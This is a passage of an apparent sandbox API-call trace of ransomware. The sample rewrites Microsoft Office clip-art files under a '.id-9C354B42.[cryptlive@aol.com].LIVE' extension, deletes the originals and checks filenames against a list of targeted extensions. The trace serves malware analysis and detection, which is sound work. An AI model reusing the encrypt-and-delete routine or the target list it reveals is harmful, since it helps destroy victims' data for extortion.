(hFile=0x3a4) returned 1 [0136.845] CloseHandle (hObject=0x3a4) returned 1 [0136.846] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.846] SetEndOfFile (hFile=0x388) returned 1 [0136.848] CloseHandle (hObject=0x388) returned 1 [0136.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0136.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.849] lstrlenW (lpString=".doc") returned 4 [0136.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.849] lstrlenW (lpString=".docx") returned 5 [0136.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.849] lstrlenW (lpString=".pdf") returned 4 [0136.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.849] lstrlenW (lpString=".xls") returned 4 [0136.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.850] lstrlenW (lpString=".xlsx") returned 5 [0136.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.850] lstrlenW (lpString=".ppt") returned 4 [0136.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString=".zip") returned 4 [0136.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.850] lstrlenW (lpString=".rar") returned 4 [0136.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString=".bz2") returned 4 [0136.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString=".7z") returned 3 [0136.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString=".dbf") returned 4 [0136.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString=".1cd") returned 4 [0136.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString=".jpg") returned 4 [0136.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.850] lstrlenW (lpString=".doc") returned 4 [0136.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString=".docx") returned 5 [0136.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.850] lstrlenW (lpString=".pdf") returned 4 [0136.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.850] lstrlenW (lpString=".xls") returned 4 [0136.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.850] lstrlenW (lpString=".xlsx") returned 5 [0136.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.851] lstrlenW (lpString=".ppt") returned 4 [0136.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.851] lstrlenW (lpString=".zip") returned 4 [0136.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.851] lstrlenW (lpString=".rar") returned 4 [0136.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.851] lstrlenW (lpString=".bz2") returned 4 [0136.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.851] lstrlenW (lpString=".7z") returned 3 [0136.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.851] lstrlenW (lpString=".dbf") returned 4 [0136.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.851] lstrlenW (lpString=".1cd") returned 4 [0136.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0136.851] lstrlenW (lpString=".jpg") returned 4 [0136.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.851] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.851] lstrlenW (lpString="BL00234_.WMF") returned 12 [0136.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0136.862] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9304) returned 1 [0136.862] CloseHandle (hObject=0x328) returned 1 [0136.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0136.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0136.864] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.864] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.865] GetLastError () returned 0x0 [0136.865] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2458, lpOverlapped=0x0) returned 1 [0136.866] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0136.867] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.867] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.868] SetEndOfFile (hFile=0x3ac) returned 1 [0136.868] CloseHandle (hObject=0x3ac) returned 1 [0136.868] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.868] SetEndOfFile (hFile=0x328) returned 1 [0136.870] CloseHandle (hObject=0x328) returned 1 [0136.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0136.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.871] lstrlenW (lpString=".doc") returned 4 [0136.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.871] lstrlenW (lpString=".docx") returned 5 [0136.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.871] lstrlenW (lpString=".pdf") returned 4 [0136.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.871] lstrlenW (lpString=".xls") returned 4 [0136.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.872] lstrlenW (lpString=".xlsx") returned 5 [0136.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.872] lstrlenW (lpString=".ppt") returned 4 [0136.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString=".zip") returned 4 [0136.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.872] lstrlenW (lpString=".rar") returned 4 [0136.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString=".bz2") returned 4 [0136.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString=".7z") returned 3 [0136.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString=".dbf") returned 4 [0136.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString=".1cd") returned 4 [0136.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString=".jpg") returned 4 [0136.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.872] lstrlenW (lpString=".doc") returned 4 [0136.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString=".docx") returned 5 [0136.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.872] lstrlenW (lpString=".pdf") returned 4 [0136.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.872] lstrlenW (lpString=".xls") returned 4 [0136.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.872] lstrlenW (lpString=".xlsx") returned 5 [0136.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.873] lstrlenW (lpString=".ppt") returned 4 [0136.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.873] lstrlenW (lpString=".zip") returned 4 [0136.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.873] lstrlenW (lpString=".rar") returned 4 [0136.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.873] lstrlenW (lpString=".bz2") returned 4 [0136.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.873] lstrlenW (lpString=".7z") returned 3 [0136.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.873] lstrlenW (lpString=".dbf") returned 4 [0136.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.873] lstrlenW (lpString=".1cd") returned 4 [0136.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0136.873] lstrlenW (lpString=".jpg") returned 4 [0136.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.873] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.873] lstrlenW (lpString="BL00242_.WMF") returned 12 [0136.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0136.874] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4024) returned 1 [0136.874] CloseHandle (hObject=0x328) returned 1 [0136.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0136.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0136.874] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.874] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.875] GetLastError () returned 0x0 [0136.875] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0136.877] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0136.878] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.878] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.878] SetEndOfFile (hFile=0x3ac) returned 1 [0136.878] CloseHandle (hObject=0x3ac) returned 1 [0136.878] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.878] SetEndOfFile (hFile=0x328) returned 1 [0137.337] CloseHandle (hObject=0x328) returned 1 [0137.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0137.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.417] lstrlenW (lpString=".doc") returned 4 [0137.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.417] lstrlenW (lpString=".docx") returned 5 [0137.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.418] lstrlenW (lpString=".pdf") returned 4 [0137.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString=".xls") returned 4 [0137.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.418] lstrlenW (lpString=".xlsx") returned 5 [0137.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.418] lstrlenW (lpString=".ppt") returned 4 [0137.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString=".zip") returned 4 [0137.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.418] lstrlenW (lpString=".rar") returned 4 [0137.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString=".bz2") returned 4 [0137.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString=".7z") returned 3 [0137.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString=".dbf") returned 4 [0137.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString=".1cd") returned 4 [0137.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString=".jpg") returned 4 [0137.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.418] lstrlenW (lpString=".doc") returned 4 [0137.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString=".docx") returned 5 [0137.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.418] lstrlenW (lpString=".pdf") returned 4 [0137.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.418] lstrlenW (lpString=".xls") returned 4 [0137.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.419] lstrlenW (lpString=".xlsx") returned 5 [0137.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.419] lstrlenW (lpString=".ppt") returned 4 [0137.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.419] lstrlenW (lpString=".zip") returned 4 [0137.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.419] lstrlenW (lpString=".rar") returned 4 [0137.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.419] lstrlenW (lpString=".bz2") returned 4 [0137.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.419] lstrlenW (lpString=".7z") returned 3 [0137.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.419] lstrlenW (lpString=".dbf") returned 4 [0137.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.419] lstrlenW (lpString=".1cd") returned 4 [0137.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0137.419] lstrlenW (lpString=".jpg") returned 4 [0137.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.419] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.419] lstrlenW (lpString="BL00274_.WMF") returned 12 [0137.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0137.420] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4164) returned 1 [0137.420] CloseHandle (hObject=0x1e4) returned 1 [0137.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0137.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0137.420] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.420] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.421] GetLastError () returned 0x0 [0137.421] ReadFile (in: hFile=0x1e4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1044, lpOverlapped=0x0) returned 1 [0137.429] WriteFile (in: hFile=0x3b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1050, lpOverlapped=0x0) returned 1 [0137.430] ReadFile (in: hFile=0x1e4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.430] WriteFile (in: hFile=0x3b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.430] SetEndOfFile (hFile=0x3b0) returned 1 [0137.431] CloseHandle (hObject=0x3b0) returned 1 [0137.431] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.431] SetEndOfFile (hFile=0x1e4) returned 1 [0137.433] CloseHandle (hObject=0x1e4) returned 1 [0137.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0137.510] lstrlenW 